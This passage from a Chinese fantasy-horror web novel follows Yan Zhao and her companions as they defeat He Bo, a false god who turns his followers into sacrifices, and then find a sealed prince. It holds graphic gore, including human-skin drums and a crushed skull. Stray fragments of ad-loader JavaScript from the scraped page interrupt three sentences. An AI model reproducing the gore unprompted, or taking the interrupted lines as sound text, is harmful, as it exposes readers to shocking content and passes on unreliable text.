大佛掌中的粉末散落在言朝的身前,道:“他们都已经飞升成神了啊。” “他们身体里的养分已经被吸收的差不多了,刚刚捏碎的是他们的心脏。你听到了吗?那声音可真好听啊。” 言朝只觉脊背发凉,之前听那个卖药浴包的人说至少有千余人,虽然已经预想过他们会遭遇不测,但没想到竟会是这样的结果,一时间有些接受不了。 言朝长呼了一口气,道:“你处心积虑地抓他们要干什么?” 大佛道:“当然是为我成神做贡献。” “无论是飞升成神,还是立地成佛,皆是打着渡化三界的高尚名号,干着世间最苦逼的活。还要在信徒面前装清高,连一个小小的愿望都实现不了。” “我要做凌驾于神之上的神!不受凡人约束,不受轮回桎梏,享世间极乐,除一切疾苦!” 为神者,寿命为九千九百九十九年;为鬼者,寿命为九百九十九年。 九是极数,月满则亏。 因神的寿岁漫长,故诞神之出,便有一条规矩:神者,不可入轮回。 三界之中,也唯有神死后不可入轮回。 那这历代的神中,有没有谁活到九千九百九十九,寿终正寝的? 当然。 一个都没有。 能考证到的,最多也就活个一千多年,如今的天帝,也就只有七百来年而已。 与那遥不可及的九千九百九十九年相比,可以说是非常短命了。 那些神,有的战死、有的病死、有的被杀死、还有的是失去了信徒,被贬谪流放活活耗死。 如果有一个人费尽千辛万苦,经历九道雷劫,方才成神,但恰巧他运气不好,刚飞升一年不到,就意外丢了性命。这虽非多数,但也确实存在。 即便如此,还是有数不尽的人,挤破了脑袋,也想飞升成神。 虽然言朝觉得做神没什么意思,成神的方式也是五花八门,但那些飞升成功的神,好歹也是正儿八经修炼上去,或者经历了一些非凡事的。 无论是哪一种,都绝不可能是他这种。 异想天开,痴人说梦。 言朝道:“你说的倒是冠冕堂皇,但你的方法,我实在不敢苟同。但我有一事不明,你既要成神,为何要牺牲这些无辜的人?” 大佛像是听到了一个天大的笑话,道:“无辜?他们可不无辜。” “我予他们荣华富贵,他们以身报我羽化成神,我们各取所需,何来无辜?” “再者说,他们对钱财的欲望和贪婪深不见底,我既满足了他们的欲望,又净化了他们的贪婪,我这是在行善事,你情我愿,何来无辜?” 某种程度上,他说的没错。 言朝道:“你特意把我找来,是让我成为他们中的一员?” 大佛道:“不不不,你是慧女,有更好的去处,他们怎么能和你相提并论呢。” 言朝笑了一声,道:“好啊,不过我有个习惯。但凡是我想弄明白的事情,绝对不会糊里糊涂的混过去。既然早晚都要死,我也必须做个明白鬼。” 大佛道:“没问题,我就喜欢你这样直接的人。怎么办?我突然有点儿喜欢你了。” 话音刚落,平地升起一阵白眼,大佛突然凭空消失,大佛的背后出现了一尊神像。神像头颅和四肢皆被铁链牢牢锁住,看上去十分痛苦。 那神像乍一看,与春神像一般无二,细看之下,却不是春神,而是一个与春神妆发一致的人。 言朝想起之前听到的那个声音,难道是他? 大佛的声音再次响起。 “带你去无上极乐世界。” 一股无形的力量将言朝卷起,直冲那神像的心脏而去,正当她以为要撞个头破血流时,转瞬间,就穿过神像,将她带入了另一个空间。 “欢迎来到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我的世界。” 言朝甫一落地,一睁眼,就被眼前的景象惊住了。 这是一个完全密闭的空间,空中悬挂着一幅幅画工精致,惟妙惟肖的画像。上面画的不是别人,正是诸天仙神,他们被按照神职的大小,高低错落的进行排放。那画像的神看上去呼之欲出,久看之下,竟能使人头晕目眩,产生幻觉。 言朝闭目定了定神,再睁眼时,那些画像都冒着团团黑气。 这种手法,像极了一个鬼王。 人称“画中仙”。 据说,此鬼为人时有极高的绘画天赋,因其画工精湛,便经常为各地神庙供奉的神作画,以便信徒能请回家中瞻仰。 他本人因画神像,也对诸神十分敬仰。 他虽生了一副好皮相,但身材矮小瘦弱,以至于画红人不红。 他一生醉心作画,后来不知怎么,死后竟修炼成了厉生相的鬼王。他仍旧画神,只是这一次,他利用画像迷惑信徒,进而从诸神手中抢走了许多信徒,让众神十分头疼。 他终日背着一个箱笼,盘着簪子头,一身粗布麻衣,一副书生扮相。 若在哪里与他遇上,他便会倾身侧首,露出那张惨败瘦削的脸,用他那对白眸望向你,在唇边竖起带着细长白甲的手指,示意你不要出声,而后,他便会朝你展露一个诡异的笑容。 因此,他还有一个名号叫“笑面书生”。 思绪回转,言朝问:“你和画中仙是什么关系?” “他么......若是没有他,我还来不了这里。我们有一样的目的,他就想当然的把我收归麾下了。” 这听着,不像是上下级关系,倒像是他利用了画中仙。 言朝道:“你到底是谁?” “这真是一个好问题,我可得好好回答你。” “我乃何伯,天生就是成神的!但我不屑天道法则,我有自己的成神道!我要问鼎天都!砍了含越那虚伪小人的头颅!我要诸天仙神皆臣服于我!我要诞神从此由我来授!” 原来这就是“授天上神”的真正含义。 言朝尴尬一笑,道:“看来你也没少吃药啊。” “而今我只差最后一步,那就是你!最后一位乌鸦引来的使者。” 他又说了一句她听不懂的话,与那日罩袍人说的是一样的。 言朝道:“这句话是什么意思?” 一道阴冷的笑声响起。 “最美的祭品啊,请尽情享用吧!” 画卷散去,面前立着九具白骨,他们骨架大小不一,应是男女老少皆具,他们的头上都停了一只乌鸦的骸骨,乌鸦的双足深深嵌进了头盖骨,看着诡异非常。 忽然,那九只乌鸦骸骨叫了一声,九具白骨倏地将头朝前伸长,在距离言朝只有一拳的距离时停下,咧开的下颌骨像是在对她表示欢迎。 白骨们展臂做请,言朝顺势望去,那是一片宽敞的空地,上方飘着一面黑白幡,下方正中摆了一张黑木供桌,供桌上一方香坛,三例贡品,旁边还陈列着各式各样的,祭祀用的器具,还有各种残缺的人/体碎片。地上刻着一个深红的咒印,四个桌角被红线缠绕,红线上的铜铃叮当作响。 何伯十分满意自己的作品,十分热情地为她介绍。 “这面鼓是用人/皮做的。” “这鼓槌是用人/骨做的。” “这酒是用人/血酿的。” “这肉是用人/肉煮的。” ...... 何伯的声音已经听不清晰了,取而代之的是数不尽人的嘶吼哀鸣。 看到眼前这一幕的那一瞬,言朝如同坠入了一个噩梦。巨大的恐惧使她整个人都冰冷麻木了,他们像一根无形的绳子,将她勒得几乎窒息,感觉周身的血液都在瞬息之间褪的一干二净了。 23. 灵佛窟神鬼诛邪 何伯很喜欢言朝这副惊恐无力的样子,他十分享受地欣赏着她被自己掌握在手中的感觉,他伏在言朝的身前,现出了真身。 一身朱砂色长袍,披头散发,血红的眼影在那张没有一丝血色的脸上,显得格外扎眼。 何伯掐住言朝的脖颈,将她高高举起,那瘦如鸡爪的手上,像是生了尖刺,一点一点刺入她的肌肤,渗出丝丝的血珠。 何伯邪笑一声,道:“之前的那几个,都是自愿献身,甚是无趣。我只能将就着用他们的皮囊血肉,摆了这么一桌人祭。” 何伯用另一只手拂过她的脸庞,“但你不一样,你牙尖嘴利,表面认栽,其心不诚。正因如此,你才有这个荣幸成为最后一个祭品。” “怎么样?开不开心?激不激动?” 言朝翻了一个白眼,她连一句多余的话都不想说。 何伯道:“还是个有脾气的。哈哈哈哈哈哈!正合我意!反正你也奈何不了我,今日我就将你的生命终结,助我成就大业!下面的那位,一定会很喜欢我送他这份礼物的!” 何伯使了个法术将言朝定在供桌前,他站在言朝身前,背对着她,用桌上的毛笔蘸取人血制成的颜料,倾身在桌上奋笔疾书。落笔之时,地面开始晃动,经幡乱舞,铜铃狂响,所有的器具漂浮在半空,由那九具白骨奏响,脚下的咒印也闪着慑人的红光。 何伯展臂狂笑:“哈哈哈哈哈哈哈哈!我的大业就要成了!我,何伯,就是真正的神!授天上神!” 他抬手一挥,言朝腾空飞起,与他隔空对视,他的神情极度扭曲,五官似错位一般,额头与颈项的青筋暴起,嘴唇颤抖着,露出嗜血的鬼齿,他的身体也因情绪的剧烈波动而颤抖。 言朝心中正默念着一句法诀,手上的手串亮起一道几不可查的白光,顿感周身禁制消散,她找准时机,抽出包中折伞,在伞柄末端处轻轻一按,那伞柄便化身一把利剑,她手持利剑,瞬息之间,一剑直倒何伯的心脏。 “到地狱去成就你的大业吧!!!” 何伯被她的剑击倒在地,恰被正在启动的咒印锁住,心口处源源不断地冒着黑气,他不可置信地道:“不可能!你怎么能动得了?你明明就是一个普通的凡人,你到底是谁?” 言朝将手中的剑又深了几分,笑道:“可别小瞧人。我,就是来终结你的人!怎么样?被自己施的法术制住的感觉还不错吧。”她揩了一把脖颈上的血珠,密密麻麻的疼,她望向那几只成了骸骨的乌鸦,补了一句,“还有,去你的乌鸦邪祟!我的乌鸦是祥瑞!” 她在那剑上淬了毒,经过胡杨林的教训,这是她上次回去时特意改良的加强版,专门针对这些她看着不顺眼的妖魔鬼怪。 眼见着何伯的身躯泛起一层冰霜,他动一分,寒冰就会深一分,咒印的桎梏也会紧一分。 但要将他彻底铲除,还需要再烧一把火才行。 何伯想尽办法却始终动弹不得,不甘心地道:“我不会输的!今日我大业必成!我绝不会输的!!!” 言朝见时机差不多,道:“别急啊,好戏才刚开始呢。” 言朝晃了晃手上的手串,手串忽然射出一道白光,言朝忽感困意来袭,心道不好,还来不及做出反应,她手中的剑一滑,便直挺挺地躺倒在地,陷入了沉睡。 只听轰隆一声,言朝身下一空,连同那把剑,一齐掉进了一个黑黢黢的无底洞。 方才还在运转的阵法也倏地停止,何伯也摆脱了禁锢。 他颤巍巍地站起身,心口被贯穿成了一个透风的空洞,浑身上下像被水打湿了一般,不停地滴水,像个水鬼,狼狈不堪。 何伯望着适才言朝坠落的地方,撒气般狠狠地跺了几脚,狞笑一声道:“你捅了我一剑又如何!阵法破了又如何!最终还不是成为了他的祭品!我要成啦!!我要成啦!!这世上再也没有人能阻我!!!” “痴人说梦!” 一道锐利之极的破风之声从他的身前穿过,转瞬间,他的头颅滚落在地。 来人,正是莲溪。 一个时辰前。 言朝走后,遥旭就在厨房里煮了一锅浓汤,那汤看着一言难尽,闻着倒是分外鲜美。 迟婆婆心急如焚,生怕言朝有个万一,这正发愁呢,却见莲溪悠哉地喝茶,遥旭就更不得了了,竟然有闲情煮汤。 迟婆婆关心则乱,语气有些不悦道:“二位公子啊,你们怎么就不着急呢?怎还有闲情雅致在这喝茶煮汤?” 她心里还是放心不下,决定亲自出去找,不管怎么说,不能让一个外乡人平白在这里丢了性命。她老婆子一把年纪,舍了又如何。迟婆婆刚抬脚迈出一步,就被莲溪叫住了。 “你要去救她吗?” 迟婆婆道:“没错。我得把那姑娘找回来。” 莲溪道:“那小山怎么办?” 迟婆婆怔住了,方才头脑一热,竟把小山给忘了,“这,但也不能不去救人啊。” “谁说我们不去救人?”遥旭从厨房探出头来,又道,“可别小瞧了她,人家厉害着呢。我们兄弟俩得做好后方保障,到时里应外合,一击毙命。” 莲溪道:“你们安心等待便好,不用为我们担心。” 遥旭将那锅汤浓缩的精华灌入小瓶中,道:“我准备好了,咱们可以走了。” 遥旭特意叮嘱道:“我们没回来之前,无论看到什么,听到什么,都不要理。我们买的那些菜够你们吃上好一阵了。”临走前,遥旭还朝他们安心一笑,叫他们不必担心。 门一关上,遥旭立马收起了笑容,看着手里的小瓶子,挑起半边眉道:“我特意挑的毒蘑菇总算是派上用场啦。保管他喝了欲罢不能,幻梦成空。” “哎你说,”遥旭一手搭上莲溪的肩,“这些人要是知道自己的好日子马上到头了,回头做鬼了,不得恨死我们了。” 莲溪道:“不会,他们连做鬼的机会都没有。” 遥旭笑道:“也是,进了妄生城,做鬼都难喽。” 一盏茶的功夫,二人便来到了神殿前,一眼就看到了每一层被锁住的人面。 莲溪道:“看来这里,在那东西来之前就已经存在了。” 遥旭道:“要是只有那一个可就没意思了。” 二人推门进殿,那尊半身佛像又回到了原位,只是与言朝先前看到的不太一样。 此时的佛像,不再是满金加身,而是浑身冒着蓝光,散发着黑气,还留着八字小胡的石像。石像之下,一尊容貌相同的肉身若隐若现。 遥旭道:“这就是他的真面目吗?印堂发黑,嘴唇青紫,一副要死的样子。” 莲溪侧首望了眼黑漆漆的石壁,目中一凌,就听“咔嚓”一声,石壁上密密麻麻的人面,伴随着口中凄厉的呻吟声,噼里啪啦的掉在了地上,化成了一滩滩冒泡的白浆。 整座大殿也突然变得明亮起来。 二人这才看清,在大佛的背后还有一尊神像。 莲溪感应到了言朝,道:“桃花在这后面,这里交给你了。” 遥旭撸起袖子,道:“我早就看这家伙不顺眼了。” 话音刚落,遥旭腾空跃起,掌中蓄力,对准佛像,徒手将那半身佛劈成两半。轰隆一声,佛像碎成无数的石块,散落 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一地,一汪汪臭气熏天的黑水从佛像体内流出,亏得遥旭闪躲及时,才不至被溅一身。 遥旭道:“果然是一肚子坏水。” 他不再理会,转头去找莲溪,却见他正脚踩着一颗头颅,质问道:“她在哪?” 遥旭看了一圈,这除了几具白骨,满地狼藉,就只有他们俩和那个断头鬼,以及他那乱舞的空心身躯。 何伯的半边头已被莲溪踩进了地底,能清楚地听到自己的头骨一点一点碎裂的声音,他挣扎着啐了一口,歇斯底里地笑道:“啊哈哈哈哈!她死啦!她已经成为祭品,连灰都不剩啦!哈哈哈哈啊哈哈哈.....” 话音未落,莲溪脸上的狰狞之色尽显,一手抓起他的身躯,狠往下一掼,又将何伯的头猛地往下一踩,一手一脚同时发力,霎时间,眼浆脑浆喷射而出,头骨碎成粉末,那副身躯更是摔成了一滩比烂泥还不如的玩意儿。 但这还不够,遥旭趁他还有最后一丝意识时,将那一小瓶毒蘑菇汁倒在他那一滩早已辨不清五官的脸上,滴落的瞬间,何伯便产生了幻象,脱落的眼珠瞳孔放大,口中含混不清地道:“......我成啦!我......我是......是真正的神!啊哈......不,我不会输,我怎么会输......” 一瞬间大起大落,呜咽几声后,何伯彻底死了。 奇怪的是,他虽然死透了,但他体内却没有鬼的一魂。 人死后为鬼,鬼仍留有一魂存于世。只有入了轮回道,或执念消散,或被谁杀死,魂散鬼消,这只鬼就算是彻底死亡。 换句话说,何伯既不是人,也没有鬼的一魂,非人非鬼,更似傀儡。 莲溪道:“这东西身份古怪,但现在必须先找到桃花。” 遥旭道:“对,找人要紧。” 莲溪仍能感应到言朝,但二人环视一圈也寻不到半点儿踪迹,却发现何伯的摆的阵法实在邪得很。 以雪山为媒,神佛为就,魂灵为器,以活人血肉制具为祭,广纳四方邪气,以邪气换灵气。 遥旭道:“阴邪之术,那东西就是用这种方式让自己成神的吗!” 莲溪拧眉,抓紧在四处探了探,终于在另一个地方,寻到了一处中空之地,他抽出折扇,用扇柄在地上敲了两下,那处便塌陷下去,出了一个洞。 莲溪道:“走了。”刚说完,就直接跳了下去。 遥旭紧随其后。 才一下来,就看到了陷入沉睡的言朝。 “桃花!” 莲溪大步上前将言朝抱起,她面色平和,呼吸均匀,如睡着了一般,但她的四肢冰冷,身体异常的僵硬。 莲溪急唤道:“桃花,桃花,你醒一醒!” 唤了半天也没有反应,他把她紧紧地抱在怀里,懊悔不已,“对不起,是我来晚了。对不起,对不起......”他自己都没发现,他的声音在颤抖,一双手不断地收紧,生怕怀里的人下一刻就消失不见。 过了好半晌,怀里的人咳了两声,声音低弱地道:“轻点儿,还喘着气儿呢。” 一听动静,莲溪惊喜地看向言朝,道:“桃花,你醒了!你感觉怎么样?” 遥旭也凑上前,关切道:“桃花,你还好吗?” 言朝半睁着眼,怔怔地看着眼前人,好半天才反应过来自己刚刚好像睡着了。还好醒过来了,不然不知道要惹出多大的麻烦。 但为何这次来得这么突然? 言朝甚是疲惫地笑了一声,道:“我没事,只是不小心睡了一觉。”她忽然想起了什么,又道,“对了,这里封印了一个人,或者说,是一个神。” 24. 星宿迷法守瓷魂 遥旭拿出一个火折子点燃,莲溪将言朝扶起,见她脸色疲惫,道:“你真的没事吗?上面的东西已经处理好了,你想回去休息吗?” 言朝被莲溪触手间的冰凉激的清醒不少,没想到他的手竟然这么凉,凉的简直不像个人。不过被他这么一握,刚刚那阵疲惫地感觉也消失了。又看他一脸担心的样子,言朝举起与莲溪交握的手,道:“多谢你了,我现在完全好了。再说了,咱们仨都是榜上有名,我怎么能掉队呢。” 莲溪倏地收回手,见她脸色缓和了不少,便没再坚持,但还是叮嘱道:“你若有任何不适,一定要第一时间跟我说。” 遥旭道:“就是就是,别为了破个案子再把自己累坏了,那多不值当啊!” 言朝点头:“放心吧。如果我真的有事,不用你们说,我自己就会去休息的。对了,你们是怎么下来的?” 遥旭道:“我们是在前殿找到了一处地方下来的。” 言朝道:“前殿?你们一下来就看见我了吗?” 遥旭道:“对啊,有什么问题吗?” 言朝道:“可我明明是从供桌那掉下来的啊!” 莲溪道:“两者之间相隔不远,但就在这短短时间内,下面的位置却发生了改变。看来这里也是个法阵了。” 言朝打量了一下四周环境,这前后只有一条路,上方下来的洞已经不见,左右两边的壁上分布着坑坑巴巴,大小不一的小孔。虽然宽敞,但分明就是一个地洞。 如果这里都是这种路,她又是怎么在这么短的时间内被换了位置? 不知为什么,言朝忽然生出一种很强烈的感觉,她刚掉下来的位置与现在位置,已经相距甚远了。 言朝道:“只有左右两条路,咱们走哪条?” 莲溪笑道:“不管我们走哪条路,死路也得变成活路。” 言朝道:“那么......” 没有一丝犹豫,莲溪与言朝走向了左边,遥旭走向了右边。 遥旭刚迈出两步,回头道:“不是!你们俩就这么把我抛下了?都不挽留一下?” 莲溪继续往前走,道:“路是你自己选的,说不定你还能看到不一样的风景呢。” 遥旭转头追上,双手搭上两人的肩头,道:“我不!我也榜上有名,我就要跟你们一起走!我要跟你们同去同归!” 可这路没走多久,前方又出现了三叉路。 三人各站一条,言朝站在中间,叹了一声,道:“唉,看来这里的人想让我们分开行动。这不,路都准备好了,不多不少,正好三条。” 莲溪道:“我跟你一起,他自己随便走哪条。” 遥旭睨了莲溪一眼,道:“莲狗你这人好没信用!刚说好的同去同归,这么快就反悔啊!” 莲溪神色戏谑,道:“我可没答应你,自说自话该去看看脑子了。” 遥旭:“......” 言朝:“哈哈哈哈哈哈哈哈哈哈。” 每次看他们两人斗嘴,都能惹得言朝大笑一场,又爱又欢乐。面前这两位,长相一绝、战斗能力一绝、做饭能力一绝、搞笑能力也是一绝,这身份自然也差不了。和这般容貌俱佳,武力一流,还能时时贡献笑料的人同行,实在养眼!实在快乐! 某人唱歌除外。 言朝道:“那这回咱们怎么走?” 二人同时脱口而出道:“走中间。” 言朝各看了他们一眼,笑道:“这回你们倒是很默契啊。好,咱们一起走中间!” 在他们走后不久,另外的两条路消失了。 三人又行了一段路,不知走了多久,前方忽然传来一阵风声,遥旭兴奋道:“前面肯定有出口!这地洞我真是走够了。” 说罢,不由地加快了脚步,把两人甩在了后面,眼见着离那风声越来越近,他却突然大叫一声道:“别再往前走了!没路了!” 二人跟上前来一看,他们此刻正站在一处断崖前,往前一步就是万丈深渊,深不见底,落石无声。更诡异的是,这里突然弥漫起伸手不见五指的大雾,雾气中若隐若现的倒映着如海市蜃楼一般的景象,易将人迷惑,引诱人继续向前,若是来人一时不察,恐怕就要成为无底悬崖下的一具白骨了。 言朝一手伸进雾中,手上沾了一些细微的粉尘,她放在鼻间闻了闻,赶紧用手帕擦掉了,道:“这雾气里的东西还挺毒。若是沾上了,等人掉下去的时候,都省得用火烧了。” 遥旭不解,道:“什么意思?” 言朝道:“意思就是他们不仅没留个全尸,这里还无偿提供化成灰服务。” 遥旭赶紧退后几步,双手紧紧抱住自己,道:“幸亏我机智!但我就不明白了,这一个两个怎么都这么恶毒啊!不行!回头等那什么榜灵再出来,我说什么也得抗议一番,神仙也不能这么折腾啊!” 莲溪望着眼前的迷雾,掏出腰间折扇,抬手一挥,只见几道寒光闪动,在空中扇了几下,便将这漫天雾气卷成一团,那雾气与折扇几番周旋,终还是被折扇击破,散成了一缕灰烟。 雾气尽散,骤见距崖下数十丈的地方矗立着一座古老的方形石台,石台之上,一个白瓷塑像在黯淡的微光中散发着诡异的光泽。 石台四周,以天圆地方的格局分布着二十八星宿的石像。星宿之间隐隐有神秘的光芒流动,似是在相互感应。此时,头顶的石壁上突然显现出一张闪烁的星图,正与下方的二十八星宿相对。 风悄然吹过,带起一丝若有若无的呜咽声。 言朝遥望着那尊白瓷像,心中涌起了一股莫名的难过。 “救救我......” “......救我......” “有没有人......” 那道声音再次响起,比先前她听到的更清晰,仿若就在耳边,言朝紧紧盯着白瓷像,道:“你们有没有听到什么声音?” 莲溪道:“什么声音?” 遥旭道:“我没听到啊。” 言朝道:“救救我,救救我。那个人在求救,而且,从我来神殿的路上就已经听到了。” 莲溪道:“走,下去看看。” 突然,脚下的地开始晃动,石壁上不断有落石掉下,言朝只觉头疼欲裂,仿佛被一股无形的力量拉扯着。她紧紧地按着头,头上淌着豆大的汗珠,眼前闪过莲溪和遥旭的身影,一个变两个,两个变多个,她分不清了。 空气变得沉重而压抑,仿佛有无数看不见的丝线在缠绕、扭曲,连呼吸都变得艰难。言朝试图喊出他们的名字,喉咙却像是被一只手死死地扼住。 言朝双眼迷蒙,就在快要失去意识前,她又听到了那道声音:“到我这里来......快到我这里来......” 紧接着,他似乎又唱起了歌。 那声音空灵如神音,令闻者皆醉。 “适约之邦,灾劫忽临。大血寒冰,地冻草枯,百姓......矣。” “幸有花......,性雅心善。心育一花,于寒冰......绽放,生机重现。其名曰‘寄春朝’。” “......飞升春神,. (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' .....统掌四季。自此,风调雨顺,万物复苏。” “适约之民,感恩......,立庙以奉,......之恩,春之暖阳,泽被苍生;春之细雨,滋润万物。” “愿春神永佑,适约长兴,岁岁皆安。” 那歌声断断续续,一曲终了,星宿阵中原本规律闪动的光芒变得混乱无序。那光芒时而强烈得让人无法直视,时而又微弱得几乎不可察觉。光芒的颜色也在不断变化,从幽蓝到赤红,再到诡异的紫色。 那白瓷像是被注入了灵魂,只见一张血肉模糊,双目空洞的人面从白瓷像中破壁而出,骤然出现在言朝的眼前。 一滴血落在了言朝的脸上,人面弯了弯被缝起来的嘴角,道了一声:“你终于来了,我等你很久了。” “啊——!!!” 言朝惊恐地大叫一声,她的瞳孔紧缩,四肢僵立不动,双目望向白瓷像的方向,久久没有回神。 “桃花!桃花!我是莲溪!快醒醒!” 言朝在莲溪的一声声呼唤中醒了神,她终于看清了眼前人,木木地看了他一会,唤了声“莲溪”,便浑身脱力得倒向了他的怀中。 莲溪一把抱住她,一手揽着她,一手一下下的,轻抚她的后脑,她大口得喘着气,轻柔的声音从言朝头顶传来,“没事了,没事了。不怕,桃花不怕。” 安抚之外,言朝没听出来,莲溪的声音里带着些小心翼翼,还有爱怜。 遥旭掏出一块蓝晶晶的石头,是刚才顺手在那地洞中墙壁上拿的,道:“我们都被这小东西给耍了。” 其实,从他们踏入神殿开始,星宿法阵就已经开始运转。 来时那洞中壁上的小孔,其中生长着一种矿石,那矿石并无特别之处,甚至极不起眼,只是常年与这里的星宿阵法相伴,生出了一些灵气,可随星宿的移动轨迹转换任意一条地洞的位置。而此处运转的能量紊乱,与外部不同,故而使星宿每时每刻都在变换方位,地洞的位置也因此不停的变化。 这也是为什么言朝落下的位置发生了改变。 同样的,这也会让进入这里的人如同行走在迷宫一般,若找不到正确的方法,就会被永远困在这里,再也出不去。 但矿石还有一个更大的作用,它可以让人的意识脱离本体,让他们看到想让他们看到的景象。 方才他们三人进入了不同的幻境,但只有言朝自己看到了那一幕,其余两人都被困在了一方无人之境,但很快就被他们破解了,他们一醒来,就看到言朝四肢僵立,双目发直地盯着那白瓷像。 言朝定了定神,冷声道:“我可不是被吓大的,亏我刚才还有点儿难过,我倒要看看究竟是谁这么大胆敢戏弄我!” 莲溪握住言朝的手,道:“好,那我们就去看看。” 三人纵身一跃,来到石台上,二十八星宿似有感应一般,原本背对着他们,忽而齐齐转身,目露凶意,像是阻拦他们靠近白瓷像。 遥旭撸起袖子,道:“刚在上面劈了那个黑水佛,手正痒呢。正好,我看看这些家伙的肚子里是不是也一肚子坏水?” 遥旭正欲出手,却被言朝拦下,道:“等等。” 遥旭不解地看向她,道:“桃花你干嘛?” 言朝道:“这些星宿只是在守护里面的白瓷像,并无恶意。我想,我大概知道那白瓷像是什么人了。” 莲溪笑了一声,似是心中已有答案。 言朝望着星宿身后的白瓷像,道:“五百年前,适约最后一任太子,祝璟。我说得没错吧,太子殿下。” 25. 春音长绝归尘处 遥旭不可思议地看了眼白瓷像,又看了眼一旁淡定的莲溪,道:“你又知道了是吧。” 莲溪道:“我原本只是怀疑,毕竟这位太子殿下当年消失得太过蹊跷,但也并未深究。直到我看到那个殿外锁着的七张人面和阵法,能受此等法阵的唯神而已。没想到名极一时的他,原来是被封在这暗无天日的地底,日日呻吟。” 遥旭看向言朝,道:“那你又是怎么知道的?” 言朝道:“他在幻境中唱了一首春神颂,那是春祭时,只有适约储君才能唱的。而历代太子中,最为出名的,便是这位声如神音的太子祝璟。” 遥旭看着他们俩,道:“你们俩都知道,合着就我一个人被蒙在鼓里呗!” 莲溪淡淡地道:“你本来可以知道,但你常年醉心种菜养牛,不知道也正常。” “......”遥旭看向言朝道:“那你早知道他是适约太子,刚才还一副要跟他打一架的样子,这是不准备打了?” 言朝一脸莫名,道:“我什么时候说要跟他打架了?他在幻境里都快让我窒息了,还吓唬我,我抱怨两句还不行?再说了,没看这有二十八星宿守着嘛,才着了道,再硬碰硬,这不是傻吗?” “......” 那将白瓷像围成一圈的二十八星宿忽的退至两旁,白瓷像展露在三人面前。 正是适约太子——祝璟。 那白瓷像如脂似玉,胎薄生动,望之轻盈如纸,而白瓷所塑之人,面如冠玉,眉如远黛,目似秋水,端是一副男生女相的美人儿。他身着华服,头簪一花,手持一花,那花正是寄春朝。虔诚又不失锐气,柔和又不失坚毅,还真是有几分上任春神的气韵。 遥旭不禁感叹:“这位太子殿下长得可真好看啊。” 言朝道:“其实,祝璟有个别号叫‘小春神’。” 他乃国主第五子,本不受重用。但他生来就有一双如翠湖般清澈碧绿的眼眸,见人就爱笑,加之他秉性纯善,聪慧过人,深受百姓们爱戴。后来,他在一次节日歌会上一展歌喉,那声音宛如天籁,配上他那对深邃的眼眸,气质超凡脱俗,如天神降临,受万民膜拜。 祝璟由此声名鹊起。 但他却毫不在意这些虚名,只专心做自己的事,不曾理会外界的风雨。 国主见他势头愈盛,深感此子前途不可限量,便让他代表皇室主持回向春神的祭祀大典。他站在高台上唱起那首赞颂春神的《春神颂》,百姓惊叹:真乃春神现世!“小春神”的名号也由此得来。 也就是在那次祭祀大典之后,祝璟被正式册封为太子。 国主还请工匠为他塑了一座白瓷像。 忽有一日,皇城上空天生异象,天雷滚动。 正当大家以为这是祝璟要飞升的预兆时,祝璟却离奇的失踪了,飞升的却是另一个人。 那是祝璟八岁时,在街上捡回来的一个来历不明的女子。 太子失踪,有人怀疑,有人惋惜,更多的是嘲笑。 笑他妄想一步登天,可惜天道青睐之人却是他身边一个名不经传的小姑娘。 国主深感羞愧,传位于大皇子,避世隐居,不问世事。 在新皇登基不过三年光景,适约地龙翻滚,将整座都城尽数没入腹中,残骸遍地,鲜有人还,适约国灭。 后人道:“太子祝璟,亵渎神明,收其命,降神罚,千古罪人矣。” 莲溪哼笑道:“你们适约对待罪人的方式可真够独特的。不惜在这雪山上凿出一座庙,画地为牢,封印你的七魄,又以半身佛为界,将你封印在地底,将你的三魂封入白瓷像中,再用星宿之力将你的神魂萃取到上方的神像中,这是要把你彻底抽干啊。” “不过你的心念坚定,将星宿之力化为己用,才不至让你这么快死,就是有些痛苦罢了。” 话音刚落,白瓷像震动,祝璟凄声道:“我不是罪人!!!我从未做过损害适约之事!!” 他的声音却不似幻境中那般动听,而像是被浓烟熏后的粗哑,听着极为不适。 受他强烈的情绪影响,二十八星宿目露红光,变得躁动,周围也不段有落石从岩壁掉落。 言朝赶紧劝道:“太子殿下别激动啊!冷静点,咱们有话好说啊!” 岂料祝璟听后反而更加激动,厉声喝道:“别叫我太子殿下!我从来都不想当什么太子......” 遥旭快言快语:“那当初册封你的时候,你为啥不拒绝?总不能是人家逼着你上位的吧?” 言朝:“......” 莲溪:“......” 祝璟:“......” 祝璟被气笑了,道:“你们下来时,所有的出口都被封死了。如果你们想从这里出去,就必须找全我的身体,帮我杀掉害我的人。” 言朝揉了揉眉心,道:“不是我说你啊!你故意让我听到你求救的声音,引我们来到这里,你还险些在幻境中把我弄死, 现在为了让我们帮你把出口堵上了。这就是你求人帮忙的态度吗?” 说最后这句话时,言朝的语气变得冰冷,显然对祝璟的态度很是不悦。 她最讨厌别人威胁她。 祝璟从容道:“你身上有适约的血脉,你为了那位大人,不会不管的。” 言朝眼中含笑,只是那笑意不达眼底,道:“想不到太子殿下被困在这里几百年,对外面的事情倒是很了解。太子殿下既然这么聪明,怎么不设法自救,还需要别人帮忙呢?”她不仅刻意加重了“太子殿下”这几个字,还重复了一遍。 此话一出,莲溪和遥旭双双望向言朝,莲溪的眼中是早有所料的欣赏,遥旭却是觉得不可思议,原本还在想祝璟说的人是谁,听了她这一番话,忍不住竖起大拇指,夸道:“桃花,厉害啊!” 祝璟沉默了半晌,像是妥协一般,道:“这里还被困着两个不属于这的人,我的时间不多了,就算你们不救我,也请你们救救他们。” 言朝道:“他们是什么人?” 祝璟道:“无辜之人。” 莲溪看向言朝,道:“怎么样桃花,要不要救他们?” 言朝道:“当然要救,不过,”她看向祝璟,又道,”我要你事成之后答应我一个条件。” 祝璟想都没想,道:“我答应你。” 言朝笑道:“很好。所以在我们结束之前你可别死了。” 话音刚落,白瓷像与二十八星宿向后退去,三人的面前出现了一道白圈,似是通向另一个地方。 祝璟道:“你们从这进去,也许就能找到他们。这里很复杂,你们要小心。” 复杂?如何复杂? 三人相视一笑,,一齐走了进去。 刚进去不久,就听遥旭大叫一声,道:“卧槽!!!这到底是什么鬼地方?还有,莲溪和桃花你俩人呢???” 